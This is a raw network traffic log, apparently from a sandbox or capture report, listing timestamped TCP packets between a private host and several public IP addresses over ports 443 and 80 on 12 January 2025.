Jan 12, 2025 09:26:29.531408072 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:29.531464100 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:29.531513929 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:29.531523943 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:29.531533957 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:29.531565905 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:29.531583071 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:29.574547052 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:29.574598074 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:29.574655056 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:29.574675083 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:29.574692965 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:29.574712992 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:29.574765921 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:29.574807882 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:29.574832916 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:29.574839115 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:29.574867964 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:29.574889898 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:29.574911118 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:29.574951887 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:29.574978113 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:29.574981928 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:29.575009108 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:29.575032949 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:29.617439985 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:29.617486954 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:29.617541075 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:29.617557049 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:29.617583036 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:29.617733002 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:29.617744923 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:29.617758989 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:29.617790937 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:29.617806911 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:29.617814064 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:29.617829084 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:29.617861032 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:29.617883921 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:29.618149996 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:29.618190050 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:29.618222952 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:29.618227005 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:29.618256092 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:29.618266106 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:29.618711948 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:29.618755102 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:29.618791103 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:29.618794918 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:29.618858099 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:29.618858099 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:29.618886948 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:29.618931055 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:29.619030952 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:29.619082928 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:29.619097948 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:29.619107962 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:29.619142056 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:29.619151115 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:29.619154930 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:29.619280100 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:29.619285107 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:29.619668007 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:29.684191942 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:29.710695982 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:30.017348051 CET	49727	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:30.017368078 CET	443	49727	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:31.411250114 CET	49774	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:31.411290884 CET	443	49774	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:31.411354065 CET	49774	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:31.411736965 CET	49774	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:31.411747932 CET	443	49774	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:31.873280048 CET	443	49774	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:31.873347998 CET	49774	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:31.873717070 CET	49774	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:31.873723030 CET	443	49774	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:31.873877048 CET	49774	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:31.873881102 CET	443	49774	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:32.236601114 CET	443	49774	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:32.236666918 CET	49774	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:32.236680984 CET	443	49774	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:32.236721039 CET	49774	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:32.236741066 CET	443	49774	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:32.236790895 CET	49774	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:32.236829996 CET	443	49774	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:32.236875057 CET	49774	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:32.236911058 CET	443	49774	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:32.236995935 CET	49774	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:32.236999989 CET	443	49774	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:32.237040043 CET	49774	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:32.237102032 CET	443	49774	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:32.237274885 CET	443	49774	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:32.237309933 CET	49774	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:32.237313986 CET	443	49774	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:32.237339020 CET	49774	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:32.237353086 CET	49774	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:32.237369061 CET	443	49774	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:32.237411976 CET	49774	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:32.241136074 CET	443	49774	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:32.241203070 CET	49774	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:32.241219044 CET	443	49774	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:32.241267920 CET	49774	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:32.323035002 CET	443	49774	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:32.323107004 CET	49774	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:32.323174000 CET	443	49774	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:32.323220968 CET	49774	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:32.323287964 CET	443	49774	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:32.323347092 CET	49774	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:32.323380947 CET	443	49774	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:32.323540926 CET	443	49774	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:32.323560953 CET	49774	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:32.323566914 CET	443	49774	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:32.323582888 CET	49774	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:32.323606014 CET	49774	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:32.323616982 CET	443	49774	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:32.323672056 CET	49774	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:32.324006081 CET	443	49774	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:32.324059963 CET	49774	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:32.324090958 CET	443	49774	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:32.324155092 CET	49774	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:32.324160099 CET	443	49774	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:32.324206114 CET	49774	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:32.342334032 CET	443	49774	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:32.342406988 CET	49774	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:32.342423916 CET	443	49774	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:32.342463970 CET	49774	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:32.342509031 CET	443	49774	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:32.342556000 CET	49774	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:32.342593908 CET	443	49774	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:32.342638969 CET	49774	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:32.342679024 CET	443	49774	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:32.342719078 CET	49774	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:32.342758894 CET	443	49774	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:32.342977047 CET	443	49774	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:32.343029022 CET	49774	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:32.343035936 CET	443	49774	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:32.343075991 CET	49774	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:32.343080044 CET	443	49774	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:32.343116999 CET	49774	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:32.343125105 CET	443	49774	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:32.343159914 CET	49774	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:32.343173027 CET	443	49774	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:32.343218088 CET	49774	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:32.343272924 CET	443	49774	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:32.343400955 CET	49774	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:32.343816042 CET	443	49774	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:32.343873024 CET	49774	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:32.343916893 CET	443	49774	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:32.344014883 CET	49774	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:32.344018936 CET	443	49774	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:32.344069958 CET	49774	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:32.409813881 CET	443	49774	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:32.409893036 CET	49774	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:32.409930944 CET	443	49774	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:32.409977913 CET	49774	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:32.410007000 CET	443	49774	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:32.410064936 CET	49774	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:32.410134077 CET	443	49774	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:32.410178900 CET	49774	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:32.410213947 CET	443	49774	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:32.410259008 CET	49774	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:32.410645008 CET	443	49774	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:32.410706997 CET	49774	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:32.410734892 CET	443	49774	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:32.410809040 CET	49774	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:32.410814047 CET	443	49774	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:32.410881042 CET	49774	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:32.449378014 CET	443	49774	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:32.449450970 CET	49774	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:32.449873924 CET	443	49774	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:32.449927092 CET	49774	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:32.449960947 CET	443	49774	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:32.450026035 CET	49774	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:32.450530052 CET	443	49774	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:32.450583935 CET	49774	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:32.450615883 CET	443	49774	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:32.450670004 CET	49774	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:32.451385021 CET	443	49774	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:32.451443911 CET	49774	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:32.451467991 CET	443	49774	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:32.451523066 CET	49774	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:32.452256918 CET	443	49774	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:32.452321053 CET	49774	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:32.452347994 CET	443	49774	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:32.452508926 CET	49774	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:32.453105927 CET	443	49774	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:32.453172922 CET	49774	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:32.453201056 CET	443	49774	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:32.453257084 CET	49774	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:32.453279972 CET	443	49774	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:32.453336954 CET	49774	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:32.496582031 CET	443	49774	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:32.496665001 CET	49774	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:32.496876001 CET	443	49774	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:32.496931076 CET	49774	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:32.497070074 CET	443	49774	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:32.497131109 CET	49774	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:32.535990000 CET	443	49774	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:32.536061049 CET	49774	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:32.536107063 CET	443	49774	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:32.536166906 CET	49774	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:32.536206961 CET	443	49774	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:32.536261082 CET	49774	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:32.555541039 CET	443	49774	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:32.555613995 CET	49774	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:32.555881977 CET	443	49774	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:32.555944920 CET	49774	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:32.556202888 CET	443	49774	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:32.556266069 CET	49774	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:32.556288958 CET	443	49774	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:32.556349039 CET	49774	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:32.556600094 CET	443	49774	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:32.556657076 CET	49774	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:32.556690931 CET	443	49774	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:32.556745052 CET	49774	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:32.556778908 CET	443	49774	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:32.556845903 CET	49774	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:32.557254076 CET	443	49774	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:32.557301998 CET	49774	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:32.557346106 CET	443	49774	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:32.557408094 CET	49774	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:32.557429075 CET	443	49774	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:32.557485104 CET	49774	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:32.558182955 CET	443	49774	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:32.558257103 CET	49774	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:32.558276892 CET	443	49774	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:32.558332920 CET	49774	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:32.558373928 CET	443	49774	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:32.558429956 CET	49774	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:32.558460951 CET	443	49774	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:32.558521032 CET	49774	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:32.558541059 CET	443	49774	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:32.558593035 CET	49774	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:32.559210062 CET	443	49774	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:32.559288025 CET	49774	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:32.559303045 CET	443	49774	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:32.559360027 CET	49774	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:32.559410095 CET	443	49774	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:32.559463024 CET	49774	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:32.560169935 CET	443	49774	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:32.560231924 CET	49774	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:32.560266972 CET	443	49774	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:32.560286045 CET	443	49774	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:32.560326099 CET	443	49774	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:32.560333014 CET	49774	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:32.560353041 CET	443	49774	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:32.560379028 CET	49774	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:32.560405016 CET	49774	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:32.560446978 CET	443	49774	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:32.560528994 CET	49774	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:32.560534954 CET	443	49774	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:32.560576916 CET	49774	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:32.560581923 CET	443	49774	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:32.560679913 CET	49774	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:32.598973036 CET	49774	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:32.598987103 CET	443	49774	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:38.556169987 CET	49814	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:38.556194067 CET	443	49814	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:38.556262016 CET	49814	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:38.566848040 CET	49814	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:38.566858053 CET	443	49814	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:39.030038118 CET	443	49814	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:39.030185938 CET	49814	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:39.050229073 CET	49814	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:39.050287962 CET	443	49814	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:39.050379992 CET	49814	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:40.061417103 CET	49828	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:40.061446905 CET	443	49828	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:40.061903954 CET	49828	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:40.062819004 CET	49828	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:40.062825918 CET	443	49828	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:40.525942087 CET	443	49828	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:40.526024103 CET	49828	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:40.574276924 CET	49828	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:40.574379921 CET	443	49828	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:40.574579954 CET	49828	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:40.906214952 CET	49836	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:40.906234980 CET	443	49836	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:40.906681061 CET	49836	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:40.906955004 CET	49836	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:40.906966925 CET	443	49836	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:41.385672092 CET	443	49836	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:41.385751963 CET	49836	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:41.665329933 CET	49836	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:41.665431023 CET	443	49836	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:41.665556908 CET	49836	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:41.849761963 CET	49842	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:41.849771023 CET	443	49842	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:41.849833965 CET	49842	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:41.850857019 CET	49842	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:41.850876093 CET	443	49842	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:42.066298962 CET	49847	443	192.168.2.7	104.26.12.205
Jan 12, 2025 09:26:42.066335917 CET	443	49847	104.26.12.205	192.168.2.7
Jan 12, 2025 09:26:42.066401958 CET	49847	443	192.168.2.7	104.26.12.205
Jan 12, 2025 09:26:42.108757019 CET	49847	443	192.168.2.7	104.26.12.205
Jan 12, 2025 09:26:42.108772993 CET	443	49847	104.26.12.205	192.168.2.7
Jan 12, 2025 09:26:42.320761919 CET	443	49842	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:42.320847034 CET	49842	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:42.322402000 CET	49842	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:42.322563887 CET	443	49842	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:42.322628975 CET	49842	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:42.332758904 CET	49850	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:42.332778931 CET	443	49850	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:42.332855940 CET	49850	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:42.334057093 CET	49850	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:42.334069967 CET	443	49850	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:42.581424952 CET	443	49847	104.26.12.205	192.168.2.7
Jan 12, 2025 09:26:42.581487894 CET	49847	443	192.168.2.7	104.26.12.205
Jan 12, 2025 09:26:42.584142923 CET	49847	443	192.168.2.7	104.26.12.205
Jan 12, 2025 09:26:42.584152937 CET	443	49847	104.26.12.205	192.168.2.7
Jan 12, 2025 09:26:42.584465027 CET	443	49847	104.26.12.205	192.168.2.7
Jan 12, 2025 09:26:42.587488890 CET	49847	443	192.168.2.7	104.26.12.205
Jan 12, 2025 09:26:42.631376028 CET	443	49847	104.26.12.205	192.168.2.7
Jan 12, 2025 09:26:42.727854967 CET	443	49847	104.26.12.205	192.168.2.7
Jan 12, 2025 09:26:42.727910995 CET	443	49847	104.26.12.205	192.168.2.7
Jan 12, 2025 09:26:42.727988005 CET	49847	443	192.168.2.7	104.26.12.205
Jan 12, 2025 09:26:42.740644932 CET	49847	443	192.168.2.7	104.26.12.205
Jan 12, 2025 09:26:42.740669012 CET	443	49847	104.26.12.205	192.168.2.7
Jan 12, 2025 09:26:42.815591097 CET	443	49850	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:42.815865040 CET	49850	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:42.817538023 CET	49850	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:42.817609072 CET	443	49850	104.21.60.172	192.168.2.7
Jan 12, 2025 09:26:42.817704916 CET	49850	443	192.168.2.7	104.21.60.172
Jan 12, 2025 09:26:42.831409931 CET	49856	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:26:42.831425905 CET	443	49856	188.114.97.3	192.168.2.7
Jan 12, 2025 09:26:42.831640005 CET	49856	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:26:42.831640005 CET	49856	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:26:42.831758022 CET	443	49856	188.114.97.3	192.168.2.7
Jan 12, 2025 09:26:42.831834078 CET	49856	443	192.168.2.7	188.114.97.3
Jan 12, 2025 09:26:42.832083941 CET	49857	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:26:42.836956024 CET	80	49857	188.114.97.3	192.168.2.7
Jan 12, 2025 09:26:42.837021112 CET	49857	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:26:42.837050915 CET	49857	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:26:42.841789961 CET	80	49857	188.114.97.3	192.168.2.7
Jan 12, 2025 09:26:43.320178032 CET	80	49857	188.114.97.3	192.168.2.7
Jan 12, 2025 09:26:43.320426941 CET	80	49857	188.114.97.3	192.168.2.7
Jan 12, 2025 09:26:43.321269035 CET	49861	443	192.168.2.7	172.67.198.113
Jan 12, 2025 09:26:43.321299076 CET	443	49861	172.67.198.113	192.168.2.7
Jan 12, 2025 09:26:43.321330070 CET	49857	80	192.168.2.7	188.114.97.3
Jan 12, 2025 09:26:43.321383953 CET	49861	443	192.168.2.7	172.67.198.113
